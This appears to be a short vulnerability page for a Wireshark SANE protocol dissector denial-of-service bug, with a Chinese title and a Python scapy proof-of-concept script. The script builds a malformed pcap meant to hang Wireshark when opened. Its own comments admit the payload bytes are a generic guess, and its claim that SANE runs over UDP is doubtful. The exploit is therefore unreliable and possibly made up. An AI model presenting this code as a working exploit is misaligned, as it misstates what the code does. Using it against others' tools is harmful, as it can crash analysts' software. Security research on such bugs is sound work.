CVE-2026-6531 Wireshark SANE协议解析器拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-6531 (Wireshark SANE Dissector Infinite Loop) # This script generates a malformed packet that may trigger the infinite loop. # Requires scapy: pip install scapy from scapy.all import * def generate_malformed_pcap(filename): # Construct a raw packet intended for the SANE protocol (port 6566) # Note: Specific payload bytes to trigger the loop depend on the bug details. # This is a generic template for a SANE packet structure. # SANE Net Protocol typically starts with a version word and opcode. # We inject a crafted payload here. malformed_payload = b"\x00\x00\x00\x01" # Example version malformed_payload += b"\xFF\xFF\xFF\xFF" # Invalid opcode/length causing loop # Create a packet using IP and UDP (SANE can run over TCP/UDP) pkt = IP(dst="127.0.0.1")/UDP(dport=6566, sport=12345)/Raw(load=malformed_payload) # Save to pcap file wrpcap(filename, pkt) print(f"[+] Malformed pcap file saved as: {filename}") print(f"[+] Open this file in a vulnerable version of Wireshark to reproduce the issue.") if __name__ == "__main__": generate_malformed_pcap("cve_2026_6531_poc.pcap")